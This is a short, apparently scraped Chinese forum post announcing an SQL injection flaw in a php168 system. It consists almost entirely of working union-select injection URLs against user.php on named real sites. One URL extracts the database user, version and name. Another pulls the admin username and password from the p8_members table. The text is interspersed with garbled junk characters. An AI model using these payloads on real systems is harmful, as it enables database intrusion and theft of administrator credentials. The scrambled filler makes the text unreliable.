php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
                                       

) Z+ q+ M) t0 Ehttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
, n5 H, S" c; ~) A' X4 \6 i+ F& t                                                     
  V! V3 ]0 m! t$ x3 Z/ p                                                                  
                                                        
. w0 [$ s3 U' x( T9 q; n$ _* Y+ Chttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

& g! R* O/ U9 N' {/ y" U; @4 ^- k8 D

8 I3 P! l7 h  w" N* W2 Q                                                            
8 h, d4 I) t% q
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
; D, c& n7 m' P' R9 a
! U( d# y# Y, R" }4 f! x; W
  X3 I' w5 o/ d1 u